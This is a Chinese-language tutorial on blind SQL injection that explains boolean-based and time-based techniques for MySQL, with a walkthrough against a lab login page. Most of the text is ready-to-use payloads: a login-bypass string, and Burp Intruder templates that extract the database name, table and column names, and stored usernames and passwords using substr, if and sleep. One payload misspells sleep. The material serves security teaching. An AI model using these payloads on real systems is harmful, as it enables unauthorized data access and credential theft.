两大盲注类型
1.概念
1.1 为什么要使用盲注
当我们构造错误的输入参数值,前端没有显示出报错信息,盲注实现注入
2.布尔型盲注
2.1 原理
①Boolean 是基于真假的判断(true or false); 不管输入什么,结果都只返回真
或假两种 情况; 通过 and 1=1 和 and 1=2 可以发现注入点。
②Boolean 型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正
确与否
③Boolean 注入是指构造 SQL 判断语句,通过查看页面的返回结果来推测哪些SQL判
断条件是成立的,以此来获取数据库中的数据。
2.2 常用函数
通过长度判断 length():length(database())>=x
通过字符判断 substr():substr(database(),1,1) =‘s’
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
**使用ascii码来判断时,需要向我们的工具中加入ascii码的字典**
2.3 构造语句
2.3.1注入漏洞的判断
1.id=1' 报错
2.id=1 and 1=1 结果和 id=1 一样
3.id=1 and 1=2 结果异常
2.3.2注入攻击语句的构造(举例说明)
若为字符型漏洞
‘ or/and length(database())>=x
' or/and substr(database(),1,1) =‘s’
2.4 实战案例
http://172.16.11.62/book/userlogin.php
万能密码
1’ or 1=1 #
注:1.此处的万能密码是根据网页类型构造的语句
2.先使用万能密码通过post提交,拦截到post请求包。
3.本次实验只在自己搭建的环境里使用
4.§§ 在burp里的字典比对,第一个是位置,第二个是内容
①数据库名长度
方法一:1' or length(database())>=9 #----在burp的重发器
方法二:1' or 1=1 and length(database())=§§#---在burp的测试器
②爆数据库名
1' or substr(database(),§§,1)='§§' #
库名是:guestbook
③爆数据库表名
1' or substr((select table_name from information_schema.tables
where table_schema='guestbook' limit 0,1),§§,1)='§§' #
表名:message
1' or substr((select table_name
from information_schema.tables where table_schema='guestbook'
limit 1,1),§§,1)='§§' #
表名:user表
④爆数据字段名
User表:
列名:username
1' or substr((select column_name
from information_schema.columns where table_schema='guestbook'
and table_name='user' limit 2,1),§§,1)='§§' #
列名:password
1' or substr((select column_name
from information_schema.columns where table_schema='guestbook'
and table_name='user' limit 3,1),§§,1)='§§' #
⑤爆数据值
username password
1' or substr((select concat(username,password)
from guestbook.user limit 0,1),§§,1)='§§' #
Username:admin
Password: 123456
⑥登录
3.时间型盲注
3.1 原理
代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句
执行后也 不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语
句,通过页面响应的 时长,来判断信息,这既是时间盲注
3.2 时间型盲注特点
·通过时间回显的延迟作为判断 payload=1' and sleep(5)--+
效果:有延迟则考虑时间盲注
·利用 sleep()或 benchmark()函数延长 mysql 的执行时间
·与 if()搭配使用
3.3 常用函数
• left(m,n) --从左向右截取字符串 m 返回其前 n 位
• substr(m,1,1) --取字符串 m 的左边第一位起,1 字长的字符串
• ascii(m) --返回字符 m 的 ASCII 码
• if(str1,str2,str3)--如果 str1 正确就执行 str2,否则执行 str3
• sleep(m)--使程序暂停 m 秒
• length(m) --返回字符串 m 的长度
• count(column_name) --返回指定列的值的数目
3.4 构造语句
利用 sleep()或 benchmark()等函数让 mysql 执行时间变长经常与
if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条
件是否正确。
说明:是如果 expr1 是 True,则返回 expr2,否则返回 expr3。
常用 payload:
If(length(database())>1,sleep(5),1)
如果数据库名字符长度大于 1 为真,mysql 休眠 5 秒,如果为假则查询 1。
而查询 1 的结果,大约只有几十毫秒,根据 Burp Suite 中页面的响应 时间,
可以判断条件是否正确。
注:
###判断类型,观察是否有sleep(5)的效果。
字符型 ‘ and sleep(5) --+
3.5 案例实战
http://172.16.11.62/book/userlogin.php进行时间盲注攻击
①判断类型:字符型,并且可以使用时间型注入攻击
1' or sleep(1)
②判断长度
方法一:1‘ or if(length(database())>=10,sleep(5),1) #
方法二:1‘ or length(database())>=9 and sleep(5) #
③爆数据库名
1' or if(substr(database(),'§§',1)='§§',sleep(5),1) #
④爆数据库表
1' or if(substr((select table_name
from information_schema.tables
where table_schema='guestbook' limit 3,1),§§,1)='§§'
,seelp(5),1)#
⑤爆数据字段名
1' or if(substr((select column_name
from information_schema.columns
where table_schema='guestbook' and table_name='user'
limit 2,1),§§,1)='§§',sleep(5),1) #
⑥爆数据值
username password
1' or if(substr((select concat(username,password)
from guestbook.user limit 0,1),§§,1)='§§',sleep(5),1) #